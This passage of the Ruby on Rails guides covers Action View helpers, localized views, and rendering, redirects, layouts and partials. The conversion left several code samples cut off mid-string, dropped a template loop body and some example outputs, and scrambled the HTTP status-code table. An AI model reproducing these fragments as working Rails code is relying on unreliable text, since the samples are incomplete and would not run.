# => <label for="name">Name</label>
6.10.8 password_field_tag

Creates a password field, a masked text field that will hide the users input
behind a mask character.
password_field_tag 'pass'
# => <input id="pass" name="pass" type="password" />
6.10.9 radio_button_tag

Creates a radio button; use groups of radio buttons named the same to
allow users to select from a group of options.

radio_button_tag 'gender', 'male'

# => <input id="gender_male" name="gender" type="radio" value="m
6.10.10 select_tag

Creates a dropdown selection box.

select_tag "people", "<option>David</option>"

# => <select id="people" name="people"><option>David</option></s
6.10.11 submit_tag

Creates a submit button with the text provided as the caption.

submit_tag "Publish this article"

# => <input name="commit" type="submit" value="Publish this arti
6.10.12 text_area_tag

Creates a text input area; use a textarea for longer text inputs such as blog
posts or descriptions.
text_area_tag 'article'
# => <textarea id="article" name="article"></textarea>
6.10.13 text_field_tag

Creates a standard text field; use these text fields to input smaller chunks
of text like a username or a search query.
text_field_tag 'name'
# => <input id="name" name="name" type="text" />

6.10.14 email_field_tag

Creates a standard input field of email type.

email_field_tag 'email'
# => <input id="email" name="email" type="email" />
6.10.15 url_field_tag

Creates a standard input field of url type.

url_field_tag 'url'
# => <input id="url" name="url" type="url" />
6.10.16 date_field_tag

Creates a standard input field of date type.

date_field_tag "dob"
# => <input id="dob" name="dob" type="date" />

6.11 JavaScriptHelper
Provides functionality for working with JavaScript in your views.
6.11.1 escape_javascript

Escape carrier returns and single and double quotes for JavaScript
segments.
6.11.2 javascript_tag

Returns a JavaScript tag wrapping the provided code.

javascript_tag "alert('All is good')"

6.12 NumberHelper
Provides methods for converting numbers into formatted strings. Methods
are provided for phone numbers, currency, percentage, precision,
positional notation, and file size.
6.12.1 number_to_currency

Formats a number into a currency string (e.g., $13.65).

number_to_currency(1234567890.50) # => $1,234,567,890.50
6.12.2 number_to_human_size

Formats the bytes in size into a more understandable representation; useful

for reporting file sizes to users.
number_to_human_size(1234) # => 1.2 KB
number_to_human_size(1234567) # => 1.2 MB
6.12.3 number_to_percentage

Formats a number as a percentage string.

number_to_percentage(100, precision: 0) # => 100%

6.12.4 number_to_phone

Formats a number into a phone number (US by default).

number_to_phone(1235551234) # => 123-555-1234
6.12.5 number_with_delimiter

Formats a number with grouped thousands using a delimiter.

number_with_delimiter(12345678) # => 12,345,678
6.12.6 number_with_precision

Formats a number with the specified level of precision, which defaults to

3.
number_with_precision(111.2345) # => 111.235
number_with_precision(111.2345, 2) # => 111.23

6.13 SanitizeHelper
The SanitizeHelper module provides a set of methods for scrubbing text of
undesired HTML elements.
6.13.1 sanitize

This sanitize helper will HTML encode all tags and strip all attributes that
aren't specifically allowed.
sanitize @article.body

If either the :attributes or :tags options are passed, only the mentioned
attributes and tags are allowed and nothing else.

sanitize @article.body, tags: %w(table tr td), attributes: %w(id

To change defaults for multiple uses, for example adding table tags to the
default:

class Application < Rails::Application

config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td
end
6.13.2 sanitize_css(style)

Sanitizes a block of CSS code.

6.13.3 strip_links(html)

Strips all link tags from text leaving just the link text.

strip_links('<a href="http://rubyonrails.org">Ruby on Rails</a>'

# => Ruby on Rails

strip_links('emails to <a href="mailto:[email protected]">[email protected]

# => emails to [email protected].
strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
# => Blog: Visit.
6.13.4 strip_tags(html)

Strips all HTML tags from the html, including comments. This uses the
html-scanner tokenizer and so its HTML parsing ability is limited by that
of html-scanner.
strip_tags("Strip <i>these</i> tags!")
# => Strip these tags!

strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</

# => Bold no more! See more

NB: The output may still contain unescaped '<', '>', '&' characters and
confuse browsers.
6.14 CsrfHelper
Returns meta tags "csrf-param" and "csrf-token" with the name of the
cross-site request forgery protection parameter and token, respectively.
<%= csrf_meta_tags %>

Regular forms generate hidden fields so they do not use these tags. More
details can be found in the Rails Security Guide.

7 Localized Views
Action View has the ability to render different templates depending on the
current locale.
For example, suppose you have an ArticlesController with a show
action. By default, calling this action will render
app/views/articles/show.html.erb. But if you set I18n.locale = :de,
then app/views/articles/show.de.html.erb will be rendered instead. If
the localized template isn't present, the undecorated version will be used.
This means you're not required to provide localized views for all cases, but
they will be preferred and used if available.
You can use the same technique to localize the rescue files in your public
directory. For example, setting I18n.locale = :de and creating
public/500.de.html and public/404.de.html would allow you to have
localized rescue pages.
Since Rails doesn't restrict the symbols that you use to set I18n.locale, you
can leverage this system to display different content depending on
anything you like. For example, suppose you have some "expert" users
that should see different pages from "normal" users. You could add the
following to app/controllers/application.rb:
before_action :set_expert_locale
def set_expert_locale
I18n.locale = :expert if current_user.expert?
end

Then you could create special views like

app/views/articles/show.expert.html.erb that would only be

displayed to expert users.

You can read more about the Rails Internationalization (I18n) API here.

Layouts and Rendering in Rails

Ruby...

1 Overview: How the Pieces Fit Together

This guide focuses on the interaction between Controller and View in the
Model-View-Controller triangle. As you know, the Controller is
responsible for orchestrating the whole process of handling a request in
Rails, though it normally hands off any heavy code to the Model. But then,
when it's time to send a response back to the user, the Controller hands
things off to the View. It's that handoff that is the subject of this guide.
In broad strokes, this involves deciding what should be sent as the
response and calling an appropriate method to create that response. If the
response is a full-blown view, Rails also does some extra work to wrap the
view in a layout and possibly to pull in partial views. You'll see all of
those paths later in this guide.

2 Creating Responses
From the controller's point of view, there are three ways to create an HTTP
response:
Call render to create a full response to send back to the browser
Call redirect_to to send an HTTP redirect status code to the
browser
Call head to create a response consisting solely of HTTP headers to
send back to the browser
2.1 Rendering by Default: Convention Over Configuration in Action
You've heard that Rails promotes "convention over configuration". Default
rendering is an excellent example of this. By default, controllers in Rails
automatically render views with names that correspond to valid routes. For
example, if you have this code in your BooksController class:
class BooksController < ApplicationController
end

And the following in your routes file:

resources :books

And you have a view file app/views/books/index.html.erb:

<h1>Books are coming soon!</h1>

Rails will automatically render app/views/books/index.html.erb when

you navigate to /books and you will see "Books are coming soon!" on
your screen.

However a coming soon screen is only minimally useful, so you will soon
create your Book model and add the index action to BooksController:
class BooksController < ApplicationController
def index
@books = Book.all
end
end

Note that we don't have explicit render at the end of the index action in
accordance with "convention over configuration" principle. The rule is that
if you do not explicitly render something at the end of a controller action,
Rails will automatically look for the action_name.html.erb template in
the controller's view path and render it. So in this case, Rails will render
the app/views/books/index.html.erb file.
If we want to display the properties of all the books in our view, we can do
so with an ERB template like this:
<h1>Listing Books</h1>
<table>
<tr>
<th>Title</th>
<th>Summary</th>
<th></th>
<th></th>
<th></th>
</tr>

<% @books.each do |book| %>

</table>
<br>
<%= link_to "New book", new_book_path %>

The actual rendering is done by subclasses of

ActionView::TemplateHandlers. This guide does not dig into that
process, but it's important to know that the file extension on your view
controls the choice of template handler. Beginning with Rails 2, the
standard extensions are .erb for ERB (HTML with embedded Ruby), and
.builder for Builder (XML generator).
2.2 Using render
In most cases, the ActionController::Base#render method does the
heavy lifting of rendering your application's content for use by a browser.
There are a variety of ways to customize the behavior of render. You can
render the default view for a Rails template, or a specific template, or a
file, or inline code, or nothing at all. You can render text, JSON, or XML.
You can specify the content type or HTTP status of the rendered response
as well.
If you want to see the exact results of a call to render without needing to
inspect it in a browser, you can call render_to_string. This method takes
exactly the same options as render, but it returns a string instead of
sending a response back to the browser.
2.2.1 Rendering an Action's View

If you want to render the view that corresponds to a different template

within the same controller, you can use render with the name of the view:
def update
@book = Book.find(params[:id])

if @book.update(book_params)
redirect_to(@book)
else
render "edit"
end
end

If the call to update fails, calling the update action in this controller will
render the edit.html.erb template belonging to the same controller.
If you prefer, you can use a symbol instead of a string to specify the action
to render:
def update
@book = Book.find(params[:id])
if @book.update(book_params)
redirect_to(@book)
else
render :edit
end
end
2.2.2 Rendering an Action's Template from Another Controller

What if you want to render a template from an entirely different controller

from the one that contains the action code? You can also do that with
render, which accepts the full path (relative to app/views) of the template
to render. For example, if you're running code in an
AdminProductsController that lives in app/controllers/admin, you can
render the results of an action to a template in app/views/products this
way:
render "products/show"

Rails knows that this view belongs to a different controller because of the
embedded slash character in the string. If you want to be explicit, you can

use the :template option (which was required on Rails 2.2 and earlier):
render template: "products/show"
2.2.3 Rendering an Arbitrary File

The render method can also use a view that's entirely outside of your
application:

render file: "/u/apps/warehouse_app/current/app/views/products/s

The :file option takes an absolute file-system path. Of course, you need
to have rights to the view that you're using to render the content.
Using the :file option in combination with users input can lead to
security problems since an attacker could use this action to access security
sensitive files in your file system.
By default, the file is rendered using the current layout.
If you're running Rails on Microsoft Windows, you should use the :file
option to render a file, because Windows filenames do not have the same
format as Unix filenames.
2.2.4 Wrapping it up

The above three ways of rendering (rendering another template within the
controller, rendering a template within another controller and rendering an
arbitrary file on the file system) are actually variants of the same action.
In fact, in the BooksController class, inside of the update action where we
want to render the edit template if the book does not update successfully,
all of the following render calls would all render the edit.html.erb
template in the views/books directory:

render :edit
render action: :edit
render "edit"
render "edit.html.erb"
render action: "edit"
render action: "edit.html.erb"
render "books/edit"
render "books/edit.html.erb"
render template: "books/edit"
render template: "books/edit.html.erb"
render "/path/to/rails/app/views/books/edit"
render "/path/to/rails/app/views/books/edit.html.erb"
render file: "/path/to/rails/app/views/books/edit"
render file: "/path/to/rails/app/views/books/edit.html.erb"

Which one you use is really a matter of style and convention, but the rule
of thumb is to use the simplest one that makes sense for the code you are
writing.
2.2.5 Using render with :inline

The render method can do without a view completely, if you're willing to

use the :inline option to supply ERB as part of the method call. This is
perfectly valid:

render inline: "<% products.each do |p| %><p><%= p.name %></p><%

There is seldom any good reason to use this option. Mixing ERB into your
controllers defeats the MVC orientation of Rails and will make it harder
for other developers to follow the logic of your project. Use a separate erb
view instead.
By default, inline rendering uses ERB. You can force it to use Builder
instead with the :type option:

render inline: "xml.p {'Horrid coding practice!'}", type: :build

2.2.6 Rendering Text

You can send plain text - with no markup at all - back to the browser by
using the :plain option to render:
render plain: "OK"

Rendering pure text is most useful when you're responding to Ajax or web
service requests that are expecting something other than proper HTML.
By default, if you use the :plain option, the text is rendered without using
the current layout. If you want Rails to put the text into the current layout,
you need to add the layout: true option and use the .txt.erb extension
for the layout file.
2.2.7 Rendering HTML

You can send an HTML string back to the browser by using the :html
option to render:
render html: "<strong>Not Found</strong>".html_safe

This is useful when you're rendering a small snippet of HTML code.

However, you might want to consider moving it to a template file if the
markup is complex.
When using html: option, HTML entities will be escaped if the string is
not marked as HTML safe by using html_safe method.
2.2.8 Rendering JSON

JSON is a JavaScript data format used by many Ajax libraries. Rails has
built-in support for converting objects to JSON and rendering that JSON
back to the browser:

render json: @product

You don't need to call to_json on the object that you want to render. If
you use the :json option, render will automatically call to_json for you.
2.2.9 Rendering XML

Rails also has built-in support for converting objects to XML and
rendering that XML back to the caller:
render xml: @product

You don't need to call to_xml on the object that you want to render. If you
use the :xml option, render will automatically call to_xml for you.
2.2.10 Rendering Vanilla JavaScript

Rails can render vanilla JavaScript:

render js: "alert('Hello Rails');"

This will send the supplied string to the browser with a MIME type of
text/javascript.
2.2.11 Rendering raw body

You can send a raw content back to the browser, without setting any
content type, by using the :body option to render:
render body: "raw"

This option should be used only if you don't care about the content type of
the response. Using :plain or :html might be more appropriate most of

the time.
Unless overridden, your response returned from this render option will be
text/html, as that is the default content type of Action Dispatch response.
2.2.12 Options for render

Calls to the render method generally accept five options:

:content_type
:layout
:location
:status
:formats
2.2.12.1 The :content_type Option

By default, Rails will serve the results of a rendering operation with the
MIME content-type of text/html (or application/json if you use the
:json option, or application/xml for the :xml option.). There are times
when you might like to change this, and you can do so by setting the
:content_type option:
render file: filename, content_type: "application/rss"
2.2.12.2 The :layout Option

With most of the options to render, the rendered content is displayed as

part of the current layout. You'll learn more about layouts and how to use
them later in this guide.
You can use the :layout option to tell Rails to use a specific file as the
layout for the current action:
render layout: "special_layout"

You can also tell Rails to render with no layout at all:

render layout: false
2.2.12.3 The :location Option

You can use the :location option to set the HTTP Location header:
render xml: photo, location: photo_url(photo)
2.2.12.4 The :status Option

Rails will automatically generate a response with the correct HTTP status
code (in most cases, this is 200 OK). You can use the :status option to
change this:
render status: 500
render status: :forbidden

Rails understands both numeric status codes and the corresponding

symbols shown below.
Response Class HTTP Status Code
Symbol
Informational 100
:continue
101
:switching_protocols
102
:processing
Success
200
:ok
201
:created
202
:accepted
203
:non_authoritative_information

Redirection

Client Error

204
205
206
207
208
226
300
301
302
303
304
305
307
308
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414

:no_content
:reset_content
:partial_content
:multi_status
:already_reported
:im_used
:multiple_choices
:moved_permanently
:found
:see_other
:not_modified
:use_proxy
:temporary_redirect
:permanent_redirect
:bad_request
:unauthorized
:payment_required
:forbidden
:not_found
:method_not_allowed
:not_acceptable
:proxy_authentication_required
:request_timeout
:conflict
:gone
:length_required
:precondition_failed
:payload_too_large
:uri_too_long

Server Error

415

:unsupported_media_type

416
417
422
423
424
426
428
429
431
500
501
502
503
504
505
506
507
508
510
511

:range_not_satisfiable
:expectation_failed
:unprocessable_entity
:locked
:failed_dependency
:upgrade_required
:precondition_required
:too_many_requests
:request_header_fields_too_large
:internal_server_error
:not_implemented
:bad_gateway
:service_unavailable
:gateway_timeout
:http_version_not_supported
:variant_also_negotiates
:insufficient_storage
:loop_detected
:not_extended
:network_authentication_required

If you try to render content along with a non-content status code (100-199,
204, 205 or 304), it will be dropped from the response.
2.2.12.5 The :formats Option

Rails uses the format specified in the request (or :html by default). You
can change this passing the :formats option with a symbol or an array:

render formats: :xml

render formats: [:json, :xml]
2.2.13 Finding Layouts

To find the current layout, Rails first looks for a file in

app/views/layouts with the same base name as the controller. For
example, rendering actions from the PhotosController class will use
app/views/layouts/photos.html.erb (or
app/views/layouts/photos.builder). If there is no such controllerspecific layout, Rails will use
app/views/layouts/application.html.erb or
app/views/layouts/application.builder. If there is no .erb layout,
Rails will use a .builder layout if one exists. Rails also provides several
ways to more precisely assign specific layouts to individual controllers and
actions.
2.2.13.1 Specifying Layouts for Controllers

You can override the default layout conventions in your controllers by

using the layout declaration. For example:
class ProductsController < ApplicationController
layout "inventory"
#...
end

With this declaration, all of the views rendered by the

ProductsController will use app/views/layouts/inventory.html.erb
as their layout.
To assign a specific layout for the entire application, use a layout
declaration in your ApplicationController class:
class ApplicationController < ActionController::Base

layout "main"
#...
end

With this declaration, all of the views in the entire application will use
app/views/layouts/main.html.erb for their layout.
2.2.13.2 Choosing Layouts at Runtime

You can use a symbol to defer the choice of layout until a request is
processed:
class ProductsController < ApplicationController
layout :products_layout
def show
@product = Product.find(params[:id])
end
private
def products_layout
@current_user.special? ? "special" : "products"
end
end

Now, if the current user is a special user, they'll get a special layout when
viewing a product.
You can even use an inline method, such as a Proc, to determine the
layout. For example, if you pass a Proc object, the block you give the Proc
will be given the controller instance, so the layout can be determined
based on the current request:

class ProductsController < ApplicationController

layout Proc.new { |controller| controller.request.xhr? ? "popu
end

2.2.13.3 Conditional Layouts

Layouts specified at the controller level support the :only and :except
options. These options take either a method name, or an array of method
names, corresponding to method names within the controller:
class ProductsController < ApplicationController
layout "product", except: [:index, :rss]
end

With this declaration, the product layout would be used for everything but
the rss and index methods.
2.2.13.4 Layout Inheritance

Layout declarations cascade downward in the hierarchy, and more specific

layout declarations always override more general ones. For example:
application_controller.rb
class ApplicationController < ActionController::Base
layout "main"
end

articles_controller.rb
class ArticlesController < ApplicationController
end

special_articles_controller.rb
class SpecialArticlesController < ArticlesController
layout "special"
end

old_articles_controller.rb
class OldArticlesController < SpecialArticlesController
layout false
def show
@article = Article.find(params[:id])
end
def index
@old_articles = Article.older
render layout: "old"
end
# ...
end

In this application:
In general, views will be rendered in the main layout
ArticlesController#index will use the main layout
SpecialArticlesController#index will use the special layout
OldArticlesController#show will use no layout at all
OldArticlesController#index will use the old layout
2.2.13.5 Template Inheritance

Similar to the Layout Inheritance logic, if a template or partial is not found

in the conventional path, the controller will look for a template or partial to
render in its inheritance chain. For example:
# in app/controllers/application_controller
class ApplicationController < ActionController::Base
end
# in app/controllers/admin_controller
class AdminController < ApplicationController
end
# in app/controllers/admin/products_controller

class Admin::ProductsController < AdminController

def index
end
end

The lookup order for an admin/products#index action will be:

app/views/admin/products/
app/views/admin/
app/views/application/

This makes app/views/application/ a great place for your shared

partials, which can then be rendered in your ERB as such:
<%# app/views/admin/products/index.html.erb %>
<%= render @products || "empty_list" %>
<%# app/views/application/_empty_list.html.erb %>
There are no items in this list <em>yet</em>.
2.2.14 Avoiding Double Render Errors

Sooner or later, most Rails developers will see the error message "Can
only render or redirect once per action". While this is annoying, it's
relatively easy to fix. Usually it happens because of a fundamental
misunderstanding of the way that render works.
For example, here's some code that will trigger this error:
def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
render action: "regular_show"
end

If @book.special? evaluates to true, Rails will start the rendering process

to dump the @book variable into the special_show view. But this will not
stop the rest of the code in the show action from running, and when Rails
hits the end of the action, it will start to render the regular_show view and throw an error. The solution is simple: make sure that you have only
one call to render or redirect in a single code path. One thing that can
help is and return. Here's a patched version of the method:
def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show" and return
end
render action: "regular_show"
end

Make sure to use and return instead of && return because && return
will not work due to the operator precedence in the Ruby Language.
Note that the implicit render done by ActionController detects if render
has been called, so the following will work without errors:
def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
end

This will render a book with special? set with the special_show
template, while other books will render with the default show template.
2.3 Using redirect_to
Another way to handle returning responses to an HTTP request is with

redirect_to. As you've seen, render tells Rails which view (or other
asset) to use in constructing a response. The redirect_to method does

something completely different: it tells the browser to send a new request

for a different URL. For example, you could redirect from wherever you
are in your code to the index of photos in your application with this call:
redirect_to photos_url

You can use redirect_back to return the user to the page they just came
from. This location is pulled from the HTTP_REFERER header which is not
guaranteed to be set by the browser, so you must provide the
fallback_location to use in this case.
redirect_back(fallback_location: root_path)
2.3.1 Getting a Different Redirect Status Code

Rails uses HTTP status code 302, a temporary redirect, when you call
redirect_to. If you'd like to use a different status code, perhaps 301, a
permanent redirect, you can use the :status option:
redirect_to photos_path, status: 301

Just like the :status option for render, :status for redirect_to accepts
both numeric and symbolic header designations.
2.3.2 The Difference Between render and redirect_to

Sometimes inexperienced developers think of redirect_to as a sort of

goto command, moving execution from one place to another in your Rails
code. This is not correct. Your code stops running and waits for a new
request for the browser. It just happens that you've told the browser what
request it should make next, by sending back an HTTP 302 status code.

Consider these actions to see the difference:

def index
@books = Book.all
end
def show
@book = Book.find_by(id: params[:id])
if @book.nil?
render action: "index"
end
end

With the code in this form, there will likely be a problem if the @book
variable is nil. Remember, a render :action doesn't run any code in the
target action, so nothing will set up the @books variable that the index
view will probably require. One way to fix this is to redirect instead of
rendering:
def index
@books = Book.all
end
def show
@book = Book.find_by(id: params[:id])
if @book.nil?
redirect_to action: :index
end
end

With this code, the browser will make a fresh request for the index page,
the code in the index method will run, and all will be well.
The only downside to this code is that it requires a round trip to the
browser: the browser requested the show action with /books/1 and the
controller finds that there are no books, so the controller sends out a 302
redirect response to the browser telling it to go to /books/, the browser

complies and sends a new request back to the controller asking now for the
index action, the controller then gets all the books in the database and
renders the index template, sending it back down to the browser which
then shows it on your screen.
While in a small application, this added latency might not be a problem, it
is something to think about if response time is a concern. We can
demonstrate one way to handle this with a contrived example:
def index
@books = Book.all
end
def show
@book = Book.find_by(id: params[:id])
if @book.nil?
@books = Book.all
flash.now[:alert] = "Your book was not found"
render "index"
end
end

This would detect that there are no books with the specified ID, populate
the @books instance variable with all the books in the model, and then
directly render the index.html.erb template, returning it to the browser
with a flash alert message to tell the user what happened.
2.4 Using head To Build Header-Only Responses
The head method can be used to send responses with only headers to the
browser. The head method accepts a number or symbol (see reference
table) representing an HTTP status code. The options argument is
interpreted as a hash of header names and values. For example, you can
return only an error header:
head :bad_request

This would produce the following header:

HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

Or you can use other HTTP headers to convey other information:

head :created, location: photo_path(@photo)

Which would produce:

HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
Transfer-Encoding: chunked
Location: /photos/1
Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

3 Structuring Layouts
When Rails renders a view as a response, it does so by combining the view
with the current layout, using the rules for finding the current layout that
were covered earlier in this guide. Within a layout, you have access to
three tools for combining different bits of output to form the overall
response:
Asset tags
yield and content_for
Partials
3.1 Asset Tag Helpers
Asset tag helpers provide methods for generating HTML that link views to
feeds, JavaScript, stylesheets, images, videos and audios. There are six
asset tag helpers available in Rails:
auto_discovery_link_tag
javascript_include_tag
stylesheet_link_tag
image_tag
video_tag
audio_tag

You can use these tags in layouts or other views, although the
auto_discovery_link_tag, javascript_include_tag, and
stylesheet_link_tag, are most commonly used in the <head> section of
a layout.
The asset tag helpers do not verify the existence of the assets at the
specified locations; they simply assume that you know what you're doing
and generate the link.

3.1.1 Linking to Feeds with the auto_discovery_link_tag

The auto_discovery_link_tag helper builds HTML that most browsers

and feed readers can use to detect the presence of RSS or Atom feeds. It
takes the type of the link (:rss or :atom), a hash of options that are passed
through to url_for, and a hash of options for the tag:
<%= auto_discovery_link_tag(:rss, {action: "feed"},
{title: "RSS Feed"}) %>

There are three tag options available for the auto_discovery_link_tag:

:rel specifies the rel value in the link. The default value is

"alternate".
:type specifies an explicit MIME type. Rails will generate an
appropriate MIME type automatically.
:title specifies the title of the link. The default value is the
uppercase :type value, for example, "ATOM" or "RSS".
3.1.2 Linking to JavaScript Files with the javascript_include_tag

The javascript_include_tag helper returns an HTML script tag for

each source provided.
If you are using Rails with the Asset Pipeline enabled, this helper will
generate a link to /assets/javascripts/ rather than
public/javascripts which was used in earlier versions of Rails. This link
is then served by the asset pipeline.
A JavaScript file within a Rails application or Rails engine goes in one of
three locations: app/assets, lib/assets or vendor/assets. These
locations are explained in detail in the Asset Organization section in the
Asset Pipeline Guide.

You can specify a full path relative to the document root, or a URL, if you
prefer. For example, to link to a JavaScript file that is inside a directory
called javascripts inside of one of app/assets, lib/assets or
vendor/assets, you would do this:
<%= javascript_include_tag "main" %>

Rails will then output a script tag such as this:

The request to this asset is then served by the Sprockets gem.

To include multiple files such as app/assets/javascripts/main.js and
app/assets/javascripts/columns.js at the same time:
<%= javascript_include_tag "main", "columns" %>

To include app/assets/javascripts/main.js and

app/assets/javascripts/photos/columns.js:
<%= javascript_include_tag "main", "/photos/columns" %>

To include http://example.com/main.js:
<%= javascript_include_tag "http://example.com/main.js" %>
3.1.3 Linking to CSS Files with the stylesheet_link_tag

The stylesheet_link_tag helper returns an HTML <link> tag for each

source provided.
If you are using Rails with the "Asset Pipeline" enabled, this helper will

generate a link to /assets/stylesheets/. This link is then processed by

the Sprockets gem. A stylesheet file can be stored in one of three locations:
app/assets, lib/assets or vendor/assets.
You can specify a full path relative to the document root, or a URL. For
example, to link to a stylesheet file that is inside a directory called
stylesheets inside of one of app/assets, lib/assets or vendor/assets,
you would do this:
<%= stylesheet_link_tag "main" %>

To include app/assets/stylesheets/main.css and

app/assets/stylesheets/columns.css:
<%= stylesheet_link_tag "main", "columns" %>

To include app/assets/stylesheets/main.css and

app/assets/stylesheets/photos/columns.css:
<%= stylesheet_link_tag "main", "photos/columns" %>

To include http://example.com/main.css:
<%= stylesheet_link_tag "http://example.com/main.css" %>

By default, the stylesheet_link_tag creates links with media="screen"

rel="stylesheet". You can override any of these defaults by specifying
an appropriate option (:media, :rel):
<%= stylesheet_link_tag "main_print", media: "print" %>
3.1.4 Linking to Images with the image_tag

The image_tag helper builds an HTML <img /> tag to the specified file.
By default, files are loaded from public/images.
Note that you must specify the extension of the image.
<%= image_tag "header.png" %>

You can supply a path to the image if you like:

<%= image_tag "icons/delete.gif" %>

You can supply a hash of additional HTML options:

<%= image_tag "icons/delete.gif", {height: 45} %>

You can supply alternate text for the image which will be used if the user
has images turned off in their browser. If you do not specify an alt text
explicitly, it defaults to the file name of the file, capitalized and with no
extension. For example, these two image tags would return the same code:
<%= image_tag "home.gif" %>
<%= image_tag "home.gif", alt: "Home" %>

You can also specify a special size tag, in the format "{width}x{height}":
<%= image_tag "home.gif", size: "50x20" %>

In addition to the above special tags, you can supply a final hash of
standard HTML options, such as :class, :id or :name:
<%= image_tag "home.gif", alt: "Go Home",
id: "HomeImage",
class: "nav_bar" %>

3.1.5 Linking to Videos with the video_tag

The video_tag helper builds an HTML 5 <video> tag to the specified file.
By default, files are loaded from public/videos.
<%= video_tag "movie.ogg" %>

Produces
<video src="/videos/movie.ogg" />

Like an image_tag you can supply a path, either absolute, or relative to the
public/videos directory. Additionally you can specify the size: "#
{width}x#{height}" option just like an image_tag. Video tags can also
have any of the HTML options specified at the end (id, class et al).
The video tag also supports all of the <video> HTML options through the
HTML options hash, including:
poster: "image_name.png", provides an image to put in place of the

video before it starts playing.

autoplay: true, starts playing the video on page load.
loop: true, loops the video once it gets to the end.
controls: true, provides browser supplied controls for the user to
interact with the video.
autobuffer: true, the video will pre load the file for the user on
page load.
You can also specify multiple videos to play by passing an array of videos
to the video_tag:
<%= video_tag ["trailer.ogg", "movie.ogg"] %>

This will produce:

<video>
<source src="/videos/trailer.ogg">
<source src="/videos/movie.ogg">
</video>
3.1.6 Linking to Audio Files with the audio_tag

The audio_tag helper builds an HTML 5 <audio> tag to the specified file.
By default, files are loaded from public/audios.
<%= audio_tag "music.mp3" %>

You can supply a path to the audio file if you like:

<%= audio_tag "music/first_song.mp3" %>

You can also supply a hash of additional options, such as :id, :class etc.
Like the video_tag, the audio_tag has special options:
autoplay: true, starts playing the audio on page load
controls: true, provides browser supplied controls for the user to

interact with the audio.

autobuffer: true, the audio will pre load the file for the user on
page load.
3.2 Understanding yield
Within the context of a layout, yield identifies a section where content
from the view should be inserted. The simplest way to use this is to have a
single yield, into which the entire contents of the view currently being
rendered is inserted:

You can also create a layout with multiple yielding regions:

The main body of the view will always render into the unnamed yield. To
render content into a named yield, you use the content_for method.
3.3 Using the content_for Method
The content_for method allows you to insert content into a named yield
block in your layout. For example, this view would work with the layout
that you just saw:
<% content_for :head do %>
<title>A simple page</title>
<% end %>
<p>Hello, Rails!</p>

The result of rendering this page into the supplied layout would be this
HTML:

<html>
<head>
<title>A simple page</title>
</head>
<body>
<p>Hello, Rails!</p>
</body>
</html>

The content_for method is very helpful when your layout contains

distinct regions such as sidebars and footers that should get their own
blocks of content inserted. It's also useful for inserting tags that load pagespecific JavaScript or css files into the header of an otherwise generic
layout.
3.4 Using Partials
Partial templates - usually just called "partials" - are another device for
breaking the rendering process into more manageable chunks. With a
partial, you can move the code for rendering a particular piece of a
response to its own file.
3.4.1 Naming Partials

To render a partial as part of a view, you use the render method within the
view:
<%= render "menu" %>

This will render a file named _menu.html.erb at that point within the view
being rendered. Note the leading underscore character: partials are named
with a leading underscore to distinguish them from regular views, even
though they are referred to without the underscore. This holds true even
when you're pulling in a partial from another folder:

<%= render "shared/menu" %>

That code will pull in the partial from

app/views/shared/_menu.html.erb.
3.4.2 Using Partials to Simplify Views

One way to use partials is to treat them as the equivalent of subroutines: as

a way to move details out of a view so that you can grasp what's going on
more easily. For example, you might have a view that looked like this:
<%= render "shared/ad_banner" %>
<h1>Products</h1>
<p>Here are a few of our fine products:</p>
...
<%= render "shared/footer" %>

Here, the _ad_banner.html.erb and _footer.html.erb partials could

contain content that is shared by many pages in your application. You
don't need to see the details of these sections when you're concentrating on
a particular page.
As seen in the previous sections of this guide, yield is a very powerful
tool for cleaning up your layouts. Keep in mind that it's pure Ruby, so you
can use it almost everywhere. For example, we can use it to DRY up form
layout definitions for several similar resources:
users/index.html.erb
<%= render "shared/search_filters", search: @q do |f| %>
<p>
Name contains: <%= f.text_field :name_contains %>
</p>

<% end %>

roles/index.html.erb
<%= render "shared/search_filters", search: @q do |f| %>
<p>
Title contains: <%= f.text_field :title_contains %>
</p>
<% end %>

shared/_search_filters.html.erb
<%= form_for(@q) do |f| %>
<h1>Search form:</h1>
<fieldset>
<%= yield f %>
</fieldset>
<p>
<%= f.submit "Search" %>
</p>
<% end %>

For content that is shared among all pages in your application, you can use
partials directly from layouts.
3.4.3 Partial Layouts

A partial can use its own layout file, just as a view can use a layout. For
example, you might call a partial like this:
<%= render partial: "link_area", layout: "graybar" %>

This would look for a partial named _link_area.html.erb and render it

using the layout _graybar.html.erb. Note that layouts for partials follow
the same leading-underscore naming as regular partials, and are placed in
the same folder with the partial that they belong to (not in the master

layouts folder).

Also note that explicitly specifying :partial is required when passing

additional options such as :layout.
3.4.4 Passing Local Variables

You can also pass local variables into partials, making them even more
powerful and flexible. For example, you can use this technique to reduce
duplication between new and edit pages, while still keeping a bit of
distinct content:
new.html.erb
<h1>New zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

edit.html.erb
<h1>Editing zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

_form.html.erb
<%= form_for(zone) do |f| %>
<p>
<b>Zone name</b><br>
<%= f.text_field :name %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

Although the same partial will be rendered into both views, Action View's
submit helper will return "Create Zone" for the new action and "Update

Zone" for the edit action.

To pass a local variable to a partial in only specific cases use the
local_assigns.
index.html.erb
<%= render user.articles %>

show.html.erb
<%= render article, full: true %>

_articles.html.erb
<h2><%= article.title %></h2>
<% if local_assigns[:full] %>
<%= simple_format article.body %>
<% else %>
<%= truncate article.body %>
<% end %>

